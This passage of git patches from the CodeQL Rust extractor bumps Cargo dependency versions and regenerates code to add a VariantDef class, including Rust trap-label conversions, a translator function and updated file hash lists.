"1.0.97" diff --git a/rust/extractor/Cargo.toml b/rust/extractor/Cargo.toml index 186ac2b20e5..d4f6a177074 100644 --- a/rust/extractor/Cargo.toml +++ b/rust/extractor/Cargo.toml @@ -6,26 +6,26 @@ license = "MIT" # When updating these dependencies, run `rust/update_cargo_deps.sh` [dependencies] -anyhow = "1.0.96" -clap = { version = "4.5.31", features = ["derive"] } +anyhow = "1.0.97" +clap = { version = "4.5.32", features = ["derive"] } figment = { version = "0.10.19", features = ["env", "yaml"] } num-traits = "0.2.19" -ra_ap_base_db = "0.0.266" -ra_ap_hir = "0.0.266" -ra_ap_hir_def = "0.0.266" -ra_ap_ide_db = "0.0.266" -ra_ap_hir_ty = "0.0.266" -ra_ap_hir_expand = "0.0.266" -ra_ap_load-cargo = "0.0.266" -ra_ap_paths = "0.0.266" -ra_ap_project_model = "0.0.266" -ra_ap_syntax = "0.0.266" -ra_ap_vfs = "0.0.266" -ra_ap_parser = "0.0.266" -ra_ap_span = "0.0.266" -ra_ap_cfg = "0.0.266" -ra_ap_intern = "0.0.266" -serde = "1.0.218" +ra_ap_base_db = "0.0.270" +ra_ap_hir = "0.0.270" +ra_ap_hir_def = "0.0.270" +ra_ap_ide_db = "0.0.270" +ra_ap_hir_ty = "0.0.270" +ra_ap_hir_expand = "0.0.270" +ra_ap_load-cargo = "0.0.270" +ra_ap_paths = "0.0.270" +ra_ap_project_model = "0.0.270" +ra_ap_syntax = "0.0.270" +ra_ap_vfs = "0.0.270" +ra_ap_parser = "0.0.270" +ra_ap_span = "0.0.270" +ra_ap_cfg = "0.0.270" +ra_ap_intern = "0.0.270" +serde = "1.0.219" serde_with = "3.12.0" triomphe = "0.1.14" argfile = "0.2.1" @@ -33,11 +33,11 @@ codeql-extractor = { path = "../../shared/tree-sitter-extractor" } rust-extractor-macros = { path = "macros" } itertools = "0.14.0" glob = "0.3.2" -chrono = { version = "0.4.39", features = ["serde"] } -serde_json = "1.0.139" +chrono = { version = "0.4.40", features = ["serde"] } +serde_json = "1.0.140" dunce = "1.0.5" toml = "0.8.20" tracing = "0.1.41" tracing-flame = "0.2.0" tracing-subscriber = "0.3.19" -chalk-ir = "0.99.0" +chalk-ir = "0.100.0" diff --git a/rust/extractor/macros/Cargo.toml b/rust/extractor/macros/Cargo.toml index 06c1a6c4308..c088e98ea76 100644 --- a/rust/extractor/macros/Cargo.toml +++ b/rust/extractor/macros/Cargo.toml @@ -9,5 +9,5 @@ proc-macro = true # When updating these dependencies, run `rust/update_cargo_deps.sh` [dependencies] -quote = "1.0.38" -syn = { version = "2.0.98", features = ["full"] } +quote = "1.0.40" +syn = { version = "2.0.100", features = ["full"] } diff --git a/shared/tree-sitter-extractor/Cargo.toml b/shared/tree-sitter-extractor/Cargo.toml index 4c5bcd19941..6bbda6dc83b 100644 --- a/shared/tree-sitter-extractor/Cargo.toml +++ b/shared/tree-sitter-extractor/Cargo.toml @@ -17,7 +17,7 @@ encoding = "0.2" lazy_static = "1.5.0" serde = { version = "1.0", features = ["derive"] } serde_json = "1.0" -chrono = { version = "0.4.39", features = ["serde"] } +chrono = { version = "0.4.40", features = ["serde"] } num_cpus = "1.16.0" [dev-dependencies] From ea11b08f28b34ea6b673347134d9288e7ac6f589 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 20 Mar 2025 16:51:35 +0100 Subject: [PATCH 043/282] Rust: rerun code generation --- rust/extractor/src/generated/.generated.list | 2 +- rust/extractor/src/generated/top.rs | 58 ++++++++++++++++++- rust/extractor/src/translate/generated.rs | 8 +++ rust/ql/.generated.list | 27 ++++----- rust/ql/.gitattributes | 5 +- rust/ql/lib/codeql/rust/elements.qll | 1 + rust/ql/lib/codeql/rust/elements/Struct.qll | 1 + rust/ql/lib/codeql/rust/elements/Union.qll | 1 + rust/ql/lib/codeql/rust/elements/Variant.qll | 2 +- .../lib/codeql/rust/elements/VariantDef.qll | 9 +++ .../rust/elements/internal/VariantDefImpl.qll | 16 +++++ .../internal/generated/ParentChild.qll | 43 ++++++++++---- .../rust/elements/internal/generated/Raw.qll | 11 +++- .../elements/internal/generated/Struct.qll | 3 +- .../elements/internal/generated/Synth.qll | 49 ++++++++++++---- .../elements/internal/generated/Union.qll | 3 +- .../elements/internal/generated/Variant.qll | 4 +- .../internal/generated/VariantDef.qll | 21 +++++++ rust/ql/lib/rust.dbscheme | 8 ++- .../generated/Variant/Variant.ql | 13 +---- .../Variant/Variant_getCrateOrigin.ql | 7 --- .../Variant_getExtendedCanonicalPath.ql | 7 --- rust/schema/ast.py | 9 ++- 23 files changed, 231 insertions(+), 77 deletions(-) create mode 100644 rust/ql/lib/codeql/rust/elements/VariantDef.qll create mode 100644 rust/ql/lib/codeql/rust/elements/internal/VariantDefImpl.qll create mode 100644 rust/ql/lib/codeql/rust/elements/internal/generated/VariantDef.qll delete mode 100644 rust/ql/test/extractor-tests/generated/Variant/Variant_getCrateOrigin.ql delete mode 100644 rust/ql/test/extractor-tests/generated/Variant/Variant_getExtendedCanonicalPath.ql diff --git a/rust/extractor/src/generated/.generated.list b/rust/extractor/src/generated/.generated.list index f4582cf85f4..dc907c8fc8f 100644 --- a/rust/extractor/src/generated/.generated.list +++ b/rust/extractor/src/generated/.generated.list @@ -1,2 +1,2 @@ mod.rs 4bcb9def847469aae9d8649461546b7c21ec97cf6e63d3cf394e339915ce65d7 4bcb9def847469aae9d8649461546b7c21ec97cf6e63d3cf394e339915ce65d7 -top.rs 22ca74a6a44e2984afdaffbc536d847296a79312d201b81948a32fe56064c8bf 22ca74a6a44e2984afdaffbc536d847296a79312d201b81948a32fe56064c8bf +top.rs 01fa96e1f1e8bbb934cf07a28489eda47e002b2a27eb210d6359117e82c93a21 01fa96e1f1e8bbb934cf07a28489eda47e002b2a27eb210d6359117e82c93a21 diff --git a/rust/extractor/src/generated/top.rs b/rust/extractor/src/generated/top.rs index 4386de18016..f7fcd417f2e 100644 --- a/rust/extractor/src/generated/top.rs +++ b/rust/extractor/src/generated/top.rs @@ -3275,6 +3275,42 @@ impl From> for trap::Label { } } +#[derive(Debug)] +pub struct VariantDef { + _unused: () +} + +impl trap::TrapClass for VariantDef { + fn class_name() -> &'static str { "VariantDef" } +} + +impl From> for trap::Label { + fn from(value: trap::Label) -> Self { + // SAFETY: this is safe because in the dbscheme VariantDef is a subclass of AstNode + unsafe { + Self::from_untyped(value.as_untyped()) + } + } +} + +impl From> for trap::Label { + fn from(value: trap::Label) -> Self { + // SAFETY: this is safe because in the dbscheme VariantDef is a subclass of Locatable + unsafe { + Self::from_untyped(value.as_untyped()) + } + } +} + +impl From> for trap::Label { + fn from(value: trap::Label) -> Self { + // SAFETY: this is safe because in the dbscheme VariantDef is a subclass of Element + unsafe { + Self::from_untyped(value.as_untyped()) + } + } +} + #[derive(Debug)] pub struct VariantList { pub id: trap::TrapId, @@ -8588,9 +8624,9 @@ impl trap::TrapClass for Variant { fn class_name() -> &'static str { "Variant" } } -impl From> for trap::Label { +impl From> for trap::Label { fn from(value: trap::Label) -> Self { - // SAFETY: this is safe because in the dbscheme Variant is a subclass of Addressable + // SAFETY: this is safe because in the dbscheme Variant is a subclass of VariantDef unsafe { Self::from_untyped(value.as_untyped()) } @@ -10540,6 +10576,15 @@ impl From> for trap::Label { } } +impl From> for trap::Label { + fn from(value: trap::Label) -> Self { + // SAFETY: this is safe because in the dbscheme Struct is a subclass of VariantDef + unsafe { + Self::from_untyped(value.as_untyped()) + } + } +} + #[derive(Debug)] pub struct StructExpr { pub id: trap::TrapId, @@ -11209,6 +11254,15 @@ impl From> for trap::Label { } } +impl From> for trap::Label { + fn from(value: trap::Label) -> Self { + // SAFETY: this is safe because in the dbscheme Union is a subclass of VariantDef + unsafe { + Self::from_untyped(value.as_untyped()) + } + } +} + #[derive(Debug)] pub struct Use { pub id: trap::TrapId, diff --git a/rust/extractor/src/translate/generated.rs b/rust/extractor/src/translate/generated.rs index 9479f793961..4f9181952f2 100644 --- a/rust/extractor/src/translate/generated.rs +++ b/rust/extractor/src/translate/generated.rs @@ -176,6 +176,14 @@ impl Translator<'_> { } } + pub(crate) fn emit_variant_def(&mut self, node: ast::VariantDef) -> Option> { + match node { + ast::VariantDef::Struct(inner) => self.emit_struct(inner).map(Into::into), + ast::VariantDef::Union(inner) => self.emit_union(inner).map(Into::into), + ast::VariantDef::Variant(inner) => self.emit_variant(inner).map(Into::into), + } + } + pub(crate) fn emit_item(&mut self, node: ast::Item) -> Option> { match node { ast::Item::Const(inner) => self.emit_const(inner).map(Into::into), diff --git a/rust/ql/.generated.list b/rust/ql/.generated.list index 61fcb951cad..77cd39f8c9d 100644 --- a/rust/ql/.generated.list +++ b/rust/ql/.generated.list @@ -146,7 +146,7 @@ lib/codeql/rust/elements/SourceFile.qll 5916d550385d618bd3b3d4835fbd304048582222 lib/codeql/rust/elements/Static.qll 439550ae01b4975dc08867ecdc1f8a4da0127321af9511857a006e6bdf6400b0 e83252e8bc06045322bd2cbadd5a2c7deb82b8a11ddbc9809d3e199056f57bee lib/codeql/rust/elements/Stmt.qll 532b12973037301246daf7d8c0177f734202f43d9261c7a4ca6f5080eea8ca64 b838643c4f2b4623d2c816cddad0e68ca3e11f2879ab7beaece46f489ec4b1f3 lib/codeql/rust/elements/StmtList.qll 6f990782d5a5307d6d8a3256eb510aedfdaf7bd0e45f3dff35388842ab487b8c b412a27dea0c67307ab79104d45c5b4848c3191cc983e8b0d8dfa739a1b65d9c -lib/codeql/rust/elements/Struct.qll 96b7020c7670d5ea7effa6e390d3a163dba05ca5206cfdd1284f4a41e5664c6a 3fea0d13b8da0f210f3ad9004189efc3c56bcc90e67d6ef7817c6767f6aff273 +lib/codeql/rust/elements/Struct.qll a8e1184724f3862b2a532638214d4c87592ab475295e01c3dfa0f3ee1e4b0be7 10da81c04c0e4f42463f7d393e575769799fcb5b0211f59569ea89f252be96a7 lib/codeql/rust/elements/StructExpr.qll af9059c01a97755e94f1a8b60c66d9c7663ed0705b2845b086b8953f16019fab 2d33d86b035a15c1b31c3e07e0e74c4bbe57a71c5a55d60e720827814e73b7ba lib/codeql/rust/elements/StructExprField.qll 3eb9f17ecd1ad38679689eb4ecc169d3a0b5b7a3fc597ae5a957a7aea2f74e4f 8fcd26f266f203004899a60447ba16e7eae4e3a654fbec7f54e26857730ede93 lib/codeql/rust/elements/StructExprFieldList.qll 6f77363f93ce4e55d91cc93cef4451b93b9714a4aec91c5416d488191340a079 4da6b070125150f2d28028e29095df93e0bbdb5bc4bd4c672e060492f36367c4 @@ -174,13 +174,14 @@ lib/codeql/rust/elements/TypeRepr.qll ea41b05ef0aaac71da460f9a6a8331cf98166f2c38 lib/codeql/rust/elements/UnderscoreExpr.qll 233661b82b87c8cda16d8f2e17965658c3dc6b69efb23cb8eb9c4f50c68521e0 8edff8e80aac2ecf83a6b58f310cab688cbaeea0a0e68a298b644e565960cc74 lib/codeql/rust/elements/Unextracted.qll 12e60c79ef5b94d72b579b19970622e7b73822ebc13fbcfedfe953527ab1ac36 ec015db2eb12c3c82693ddc71d32d9ab9ef7a958e741e2510681bb707ceca23e lib/codeql/rust/elements/Unimplemented.qll bf624d28163e5c99accda16c0c99f938bec4a3b1b920a463e86fc8529ff5ff02 013bc7777298d250338f835cd494b5a8accea2d6a4f9561851f283ac129a446b -lib/codeql/rust/elements/Union.qll 92ffb1abc03889b9b71dae9491d4595e443c80b472474644f4e2d80215d4420a 8ad87a33f56583c3ebd19083d8e177da91dcc4dacd5e9140a48f01750c6b1cdb +lib/codeql/rust/elements/Union.qll e8e05763f7004c6a03d0bc4bcc153e12cc9150bb019d165b9ee84657a4c2dfe3 0db02f200220e0af54bf2ec21ccea1d8eba4f9225521d19ca8701786a807b552 lib/codeql/rust/elements/Use.qll e27d30ece0456a73732dfd867dfc5abdf48a50de56e7dafcab444b688610af72 7efe59c04dd2f10b4a25b8a17beb51362be0a93d73e5a9e1251cf133cf1227c3 lib/codeql/rust/elements/UseBoundGenericArg.qll f16903f8fff676d3700eaad5490804624391141472ecc3166ccb1f70c794c120 5efda98088d096b42f53ceccae78c05f15c6953525b514d849681cb2cf65b147 lib/codeql/rust/elements/UseBoundGenericArgs.qll 6d3b8bf8e59ef6d10d2f58c6d2eca61b113a524174f62d1f56b724c4179fda04 8fad6ed9e5bf159a2db01e7eb960cc55b940f7b92c4bb5c967120068e4fec80a lib/codeql/rust/elements/UseTree.qll 69d96e5985ecdedc421d3d5da16b738ccdbb28ea01ca4d510b98f2a3409b28e5 0188c2744e89e19aa077c802e89faa87d62ca306adb71be8c3b23617f69a5982 lib/codeql/rust/elements/UseTreeList.qll 768c4ec25e8807bba65619f566b22fa5c0946c36e96c88cfdee04c2875b44554 6433c8d9acd4e346cadd5fef01d79dd35bb6245115bdceb5322c0511106030b0 -lib/codeql/rust/elements/Variant.qll 328323ef59faf01dcf71e7d728fd10a60465a1bd24e1d3578289cdf6554e5b63 ba49c635790395d9df4398c3c0fec700c3c7761fcc6581623a45d381d23ac34d +lib/codeql/rust/elements/Variant.qll 9f3d1385ded895fea427306cba36f8213c139a2754d9d61c26394bb2297036a3 47828e71c0adfcebd7299c46cfbedad80852af4c6e18104e6c553d07016a2d66 +lib/codeql/rust/elements/VariantDef.qll fb14bf049aba1fc0b62d156e69b7965b6526d12c9150793f1d38b0f8fb8a0a8f 71453a80a3c60288242c5d86ab81ef4d027a3bc870ceffa62160864d32a7d7ad lib/codeql/rust/elements/VariantList.qll 07adfe5750b2d5b50c8629f36feba24edd84f75698a80339d4cee20f4e95829d 7d322e60c84ea45f8c8b509226da7ae3c0125bcda42a98a94e3e6a9855cab79e lib/codeql/rust/elements/Visibility.qll d2cf0727efaf8df6b3808cb4a6b2e26d18e42db766d92e97ad3ef046d91cb9e5 8947a1e2d48b532c6455ddf143fa5b1dff28c40da1f1c6a72769fc9db7ecbaf6 lib/codeql/rust/elements/WhereClause.qll da51212766700e40713fff968078a0172a4f73eebc5425d8e0d60b03c2fe59fa 0ec036aea729b8f4af0eb8118911dce715e2eb4640ae7b5e40a007a48da03899 @@ -446,6 +447,7 @@ lib/codeql/rust/elements/internal/UseTreeImpl.qll d478495a62e466fa4f443ffcf0d523 lib/codeql/rust/elements/internal/UseTreeListConstructor.qll 973577da5d7b58eb245f108bd1ae2fecc5645f2795421dedf7687b067a233003 f41e5e3ffcb2a387e5c37f56c0b271e8dc20428b6ff4c63e1ee42fcfa4e67d0a lib/codeql/rust/elements/internal/UseTreeListImpl.qll 6cac5242f1219df0fe9b3c139db8cc075a2fde618614ca56de2c856130a8ebaa d2ec917055a45f4d07d4ea6dff14298925ae323b165a5bcb6e906f7aad463f82 lib/codeql/rust/elements/internal/VariantConstructor.qll 0297d4a9a9b32448d6d6063d308c8d0e7a067d028b9ec97de10a1d659ee2cfdd 6a4bee28b340e97d06b262120fd39ab21717233a5bcc142ba542cb1b456eb952 +lib/codeql/rust/elements/internal/VariantDefImpl.qll 5530c04b8906d2947ec9c79fc17a05a2557b01a521dd4ca8a60518b78d13867b 3971558e1c907d8d2ef174b10f911e61b898916055a8173788e6f0b98869b144 lib/codeql/rust/elements/internal/VariantListConstructor.qll c841fb345eb46ea3978a0ed7a689f8955efc9178044b140b74d98a6bcd0c926a c9e52d112abdba2b60013fa01a944c8770766bf7368f9878e6b13daaa4eed446 lib/codeql/rust/elements/internal/VariantListImpl.qll 858f3668f53d8b6aacb2715a59509969fe9fd24c5a2ff0b5ceed8a2441cd9cf7 f2a57b6232247687f529be8e4d2d3d0d4d108221d8a6eb45a69a1bcc0cdc51de lib/codeql/rust/elements/internal/VisibilityConstructor.qll 1fd30663d87945f08d15cfaca54f586a658f26b7a98ea45ac73a35d36d4f65d0 6ddaf11742cc8fbbe03af2aa578394041ae077911e62d2fa6c885ae0543ba53a @@ -580,7 +582,7 @@ lib/codeql/rust/elements/internal/generated/ParamList.qll c808c9d84dd7800573832b lib/codeql/rust/elements/internal/generated/ParenExpr.qll bc0731505bfe88516205ec360582a4222d2681d11342c93e15258590ddee82f2 d4bd6e0c80cf1d63746c88d4bcb3a01d4c75732e5da09e3ebd9437ced227fb60 lib/codeql/rust/elements/internal/generated/ParenPat.qll 4f168ef5d5bb87a903251cc31b2e44a759b099ec69c90af31783fbb15778c940 0e34f94a45a13396fd57d94c245dc64d1adde2ab0e22b56946f7e94c04e297fc lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll 40ab5c592e7699c621787793743e33988de71ff42ca27599f5ab3ddb70e3f7d8 12c0a6eed2202ee3e892f61da3b3ce77ac3190854cdf3097e8d2be98aa3cb91d -lib/codeql/rust/elements/internal/generated/ParentChild.qll 0e80d85aa8ddb203edca90c9b68f88340231ab5415933f622bad18f639ff6190 9ebbfdf48f0a3c06658b53a9fd987530b34c9c40ae2c3d6ef6ebdf2721fdbf83 +lib/codeql/rust/elements/internal/generated/ParentChild.qll 9b2070dbfe201734c41dfabfe32e9636807bf8630476353421dced8e8c2b20e8 6f8c316079362a606c6362cd2188f23656ec803869cd807d45e0e9af15f9f498 lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll c5fa328ea60d3a3333d7c7bb3480969c1873166c7ac8ebb9d0afad7a8099d1a8 2dbbb6200d96f7db7dea4a55bdeab8d67b14d39a43e0bd54ada019f7e466f163 lib/codeql/rust/elements/internal/generated/Pat.qll 3605ac062be2f294ee73336e9669027b8b655f4ad55660e1eab35266275154ee 7f9400db2884d336dd1d21df2a8093759c2a110be9bf6482ce8e80ae0fd74ed4 lib/codeql/rust/elements/internal/generated/Path.qll 8e47e91aff3f8c60f1ee8cb3887b8e4936c38e4665d052f2c92a939a969aac29 2c28beb89cabd7c7c91a5bc65c874f414cb96bbefde37b25811b61089a8a0053 @@ -595,7 +597,7 @@ lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll 51d1e9e683fc79dddbff lib/codeql/rust/elements/internal/generated/PureSynthConstructors.qll e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f lib/codeql/rust/elements/internal/generated/RangeExpr.qll 23cca03bf43535f33b22a38894f70d669787be4e4f5b8fe5c8f7b964d30e9027 18624cef6c6b679eeace2a98737e472432e0ead354cca02192b4d45330f047c9 lib/codeql/rust/elements/internal/generated/RangePat.qll 80826a6a6868a803aa2372e31c52a03e1811a3f1f2abdb469f91ca0bfdd9ecb6 34ee1e208c1690cba505dff2c588837c0cd91e185e2a87d1fe673191962276a9 -lib/codeql/rust/elements/internal/generated/Raw.qll 2e299cb4fc9e506d910827e3a3ab743570a02d963c9001b33c6c06f9aa92200d a19748787c02a18abffaaa4c7b9c23a9bbc56020fb36698bf82da72c09fa57db +lib/codeql/rust/elements/internal/generated/Raw.qll 8b48d680c3258f72c0a851241aba6516a72c0abfdd3821c32bac616adb41a343 570b1af27eae2e01fe91aa9da74a8ad56c37bf5d80df14cd3bef17ab5c4414f8 lib/codeql/rust/elements/internal/generated/RecordFieldList.qll 4a23b0d75a90671197246dbbb4e62706c180074abb8ebe60a96df11c47a917a2 09be127977651a24010b090d9681714d83ebd461098f9cf0e0d1973cafb1c782 lib/codeql/rust/elements/internal/generated/RefExpr.qll 7d995884e3dc1c25fc719f5d7253179344d63650e217e9ff6530285fe7a57f64 f2c3c12551deea4964b66553fb9b6423ee16fec53bd63db4796191aa60dc6c66 lib/codeql/rust/elements/internal/generated/RefPat.qll 456ede39837463ee22a630ec7ab6c8630d3664a8ea206fcc6e4f199e92fa564c 5622062765f32930465ba6b170e986706f159f6070f48adee3c20e24e8df4e05 @@ -613,7 +615,7 @@ lib/codeql/rust/elements/internal/generated/SourceFile.qll 55d44c9f09c5ff28c4f71 lib/codeql/rust/elements/internal/generated/Static.qll 0b336767104d2b852b9acd234a6b15bd1bb21c2c081895127529325164892435 a2c69c8db65e4137b227980ea22a967ada0b32d0cd21f011e8ca8cdf7d3f1459 lib/codeql/rust/elements/internal/generated/Stmt.qll 8473ff532dd5cc9d7decaddcd174b94d610f6ca0aec8e473cc051dad9f3db917 6ef7d2b5237c2dbdcacbf7d8b39109d4dc100229f2b28b5c9e3e4fbf673ba72b lib/codeql/rust/elements/internal/generated/StmtList.qll a667193e32341e17400867c6e359878c4e645ef9f5f4d97676afc0283a33a026 a320ed678ee359302e2fc1b70a9476705cd616fcfa44a499d32f0c7715627f73 -lib/codeql/rust/elements/internal/generated/Struct.qll 4d57f0db12dc7ad3e31e750a24172ef1505406b4dab16386af0674bd18bf8f4b 1a73c83df926b996f629316f74c61ea775be04532ab61b56af904223354f033e +lib/codeql/rust/elements/internal/generated/Struct.qll b54a48c32d99345f22f189da87ff5a27f8b1e8ca78e740ba38d2b4766f280eaa c4bd85920ed3409c48eec9eed6e2e902f9694a3aa6e43222bbe5085f9663c22a lib/codeql/rust/elements/internal/generated/StructExpr.qll c6d861eaa0123b103fd9ffd2485423419ef9b7e0b4af9ed2a2090d8ec534f65d 50da99ee44771e1239ed8919f711991dd3ec98589fbe49b49b68c88074a07d74 lib/codeql/rust/elements/internal/generated/StructExprField.qll a6c1f744dbad034e6a3b173b8ff8037e2bfdea58316dedfe5508299afb770435 f7ed27ce27d14516e735a19a0509aa614d9c7637133efec8e6dc4145b5f3bee7 lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll b19b6869a6828c7a39a7312539eb29fd21734ff47dfd02281de74194fd565d7e 3cadebffaa937e367a5e1da6741e4e9e5c9a9c7f7555e28cfa70639afd19db7c @@ -621,7 +623,7 @@ lib/codeql/rust/elements/internal/generated/StructField.qll d3eca4a20ae50c9396fd lib/codeql/rust/elements/internal/generated/StructPat.qll c76fa005c2fd0448a8803233e1e8818c4123301eb66ac5cf69d0b9eaafc61e98 6e0dffccdce24bca20e87d5ba0f0995c9a1ae8983283e71e7dbfcf6fffc67a58 lib/codeql/rust/elements/internal/generated/StructPatField.qll 285530e9b73d51b3921984e344a9a944afc68c6d83fba7ee1d63345de455208f 17985cea91de1ed21e53e8c0fdb6382768cc57c5b79856dab3bc03cf1c323df9 lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll e34c003e660ba059ba81bb73b3c8d21bd2a47d0251569c46277dc9ccf2947b0a 85113f35ba5f6b9e01ad4072246a4de1ac0e4528348ac564868e96f34a3e09e2 -lib/codeql/rust/elements/internal/generated/Synth.qll 56643530ddd22deea0ee17ad47dc902d0accac41133e8f9263b7225853e0f0e2 b263a7d5f4815af6f7072a0b2d68f8fb358283a10e362d879d37c528379b6046 +lib/codeql/rust/elements/internal/generated/Synth.qll 6922cc1a9941301a57efe30f94fe51aa72de16c7adf3f75a2d49008066fd35f1 fa47d8290645d6b50c468f714c730e789c4b9524835ae24ea6ddf5767e5ca329 lib/codeql/rust/elements/internal/generated/SynthConstructors.qll e4298dc8e52d56672d91df093cc858105b5072be4ae5bed95105e0ffd80e7233 e4298dc8e52d56672d91df093cc858105b5072be4ae5bed95105e0ffd80e7233 lib/codeql/rust/elements/internal/generated/Token.qll 77a91a25ca5669703cf3a4353b591cef4d72caa6b0b9db07bb9e005d69c848d1 2fdffc4882ed3a6ca9ac6d1fb5f1ac5a471ca703e2ffdc642885fa558d6e373b lib/codeql/rust/elements/internal/generated/TokenTree.qll 8577c2b097c1be2f0f7daa5acfcf146f78674a424d99563e08a84dd3e6d91b46 d2f30764e84dbfc0a6a5d3d8a5f935cd432413688cb32da9c94e420fbc10665c @@ -643,13 +645,14 @@ lib/codeql/rust/elements/internal/generated/TypeRepr.qll 1e7b9d2ddab86e35dad7c31 lib/codeql/rust/elements/internal/generated/UnderscoreExpr.qll b3780c99c5d57159bef4c6bd2fd8ec44ebd1854c892c1ca776c740f71249e58c 2fd451cbf0a779e8042e439882e7d9cadc19d1e596df3bbb086d16f2596407c7 lib/codeql/rust/elements/internal/generated/Unextracted.qll 01563dfd769d6dc3c6b8a40d9a4dc0d99a3b6a0c6725c180d2bf4d7633929a17 a93ce90f8c03f4305e59de9c63f089fc7935298fc9a73d091d76933cf63e790c lib/codeql/rust/elements/internal/generated/Unimplemented.qll a3eb304781991bff1227de1e4422b68bf91e7b344e4f6c9e874b324e82a35e60 6bc4839fda3850a56dc993b79ef9ba921008395c8432b184e14438fba4566f21 -lib/codeql/rust/elements/internal/generated/Union.qll 7f2a33166761d29299572681f1eb0b7efd647b3bd37b5a00c2d4661b06b1b04e 56da586702152f4507ae874f2e1cec9d963151a97bc279f2eed37fba921780a5 +lib/codeql/rust/elements/internal/generated/Union.qll d91aa6cd02bce27a28d1fba87fe80be3a33d1e560d3dd447c3035ff2738a0821 22343e17c08e53d237e834fb9fb9c97fbdebc95bfda4bab80a0c3274edebf7fd lib/codeql/rust/elements/internal/generated/Use.qll d42ccf3516a9f79ae8766f93ad5f09d3cdcd7b96844d4c9de64189b56018a7b4 70a9553a8f71f6cbfdd0f59a4b42292d13177613ceb0542436436e0ac2e1f8ee lib/codeql/rust/elements/internal/generated/UseBoundGenericArg.qll 69162794e871291545ea04f61259b2d000671a96f7ca129f7dd9ed6e984067c4 31de9ebc0634b38e2347e0608b4ea888892f1f2732a2892464078cd8a07b4ee8 lib/codeql/rust/elements/internal/generated/UseBoundGenericArgs.qll 05dca015d922935887856f3a0d577dbcf5b8f82bc384bdc9c8c2d0106419716d fcee14ed4f7a639b1ba721bd390fc0cdbfdc7c759e3092aa462d466fe390de45 lib/codeql/rust/elements/internal/generated/UseTree.qll 15b84e3a194959aef793cd0c16b3d2d21ee5822e2d26186b5d73f922325c2827 49c409a7b82c1099436fbe3bd041d35dcd23169d58d31fbd718f6deb96fb7318 lib/codeql/rust/elements/internal/generated/UseTreeList.qll 829441cf309f008a6a9d2e784aa414ab4c11880a658f8ee71aa4df385cd2b6a8 ced82df94fea7a191f414f7e6496d13791d2f535046844b6f712a390663ac3d0 -lib/codeql/rust/elements/internal/generated/Variant.qll e40dbb23e07c5b70adc577efdf7a064e773207f216cad8fe8905882b1da9f4a9 13f7be36d043afcfc156d2c01bb828de882df69aa732f284aa76c5f00b063544 +lib/codeql/rust/elements/internal/generated/Variant.qll a1ace4d693555534a04e58beb3cb6b631c04a6104edd1949abe4ab168fa4b521 6088ef8cf813cbf1bf580f7369402956f78a9f1c2bb93384775872207ccb5f09 +lib/codeql/rust/elements/internal/generated/VariantDef.qll 3a579b21a13bdd6be8cddaa43a6aa0028a27c4e513caa003a6304e160fc53846 1ca1c41ed27660b17fbfb44b67aa8db087ea655f01bac29b57bb19fa259d07a2 lib/codeql/rust/elements/internal/generated/VariantList.qll 4eb923ca341033c256ca9b8a8a5b4e14c7eac9d015be187fd97eeb25dfb1e18e e7865e975c35db49cd72cb8f9864797d3cfed16c3a675b5032b867ced2bbb405 lib/codeql/rust/elements/internal/generated/Visibility.qll aba81820f30bed0fd2cd06831f7256af15ae32525b2a437896420b4cc067ea38 d6aed90b27124b812daf2ddd14b4e181277cbe638b4ccaab74e27681ac30e4ab lib/codeql/rust/elements/internal/generated/WhereClause.qll d6c8f72bbec5d71c024f0d365c1c5e474f4d24ded0d34c56c1f66b1e4a384e9d ed14311d140eee00d3b26a4972f53e20d5af1bddf88fb5618e7e2d3ae1d816f3 @@ -658,7 +661,7 @@ lib/codeql/rust/elements/internal/generated/WhileExpr.qll 7edf1f23fbf953a2baabcd lib/codeql/rust/elements/internal/generated/WildcardPat.qll d74b70b57a0a66bfae017a329352a5b27a6b9e73dd5521d627f680e810c6c59e 4b913b548ba27ff3c82fcd32cf996ff329cb57d176d3bebd0fcef394486ea499 lib/codeql/rust/elements/internal/generated/YeetExpr.qll cac328200872a35337b4bcb15c851afb4743f82c080f9738d295571eb01d7392 94af734eea08129b587fed849b643e7572800e8330c0b57d727d41abda47930b lib/codeql/rust/elements/internal/generated/YieldExpr.qll 37e5f0c1e373a22bbc53d8b7f2c0e1f476e5be5080b8437c5e964f4e83fad79a 4a9a68643401637bf48e5c2b2f74a6bf0ddcb4ff76f6bffb61d436b685621e85 -lib/codeql/rust/elements.qll 0f225f1d1f386597d897dc0589e679d49ea8ea05408188d7e1ca5d0b03cb30fb 0f225f1d1f386597d897dc0589e679d49ea8ea05408188d7e1ca5d0b03cb30fb +lib/codeql/rust/elements.qll 5fbfcd83eeb4467d0a721e5b4faf61d0b31316d923e6a6f61d1724023ad91cae 5fbfcd83eeb4467d0a721e5b4faf61d0b31316d923e6a6f61d1724023ad91cae test/extractor-tests/generated/Abi/Abi.ql 7f6e7dc4af86eca3ebdc79b10373988cd0871bd78b51997d3cffd969105e5fdd 2f936b6ca005c6157c755121584410c03e4a3949c23bee302fbe05ee10ce118f test/extractor-tests/generated/Abi/Abi_getAbiString.ql a496762fcec5a0887b87023bbf93e9b650f02e20113e25c44d6e4281ae8f5335 14109c7ce11ba25e3cd6e7f1b3fcb4cb00622f2a4eac91bfe43145c5f366bc52 test/extractor-tests/generated/ArgList/ArgList.ql e412927756e72165d0e7c5c9bd3fca89d08197bbf760db8fb7683c64bb2229bc 043dba8506946fbb87753e22c387987d7eded6ddb963aa067f9e60ef9024d684 @@ -1198,11 +1201,9 @@ test/extractor-tests/generated/UseTree/UseTree_getRename.ql ec3917501f3c89ac4974 test/extractor-tests/generated/UseTree/UseTree_getUseTreeList.ql c265a88347e813840969ae934dfd2904bc06f502de77709bc0b1c7255e46382a 52a239c8ea5fd8fbfbd606559d70ecadc769887437a9bcab6fb3e774208ad868 test/extractor-tests/generated/UseTreeList/UseTreeList.ql cd943c15c86e66244caafeb95b960a5c3d351d5edbd506258744fb60a61af3b2 cfa584cd9d8aa08267fd1106745a66226b2c99fadd1da65059cc7ecf2f2e68cf test/extractor-tests/generated/UseTreeList/UseTreeList_getUseTree.ql 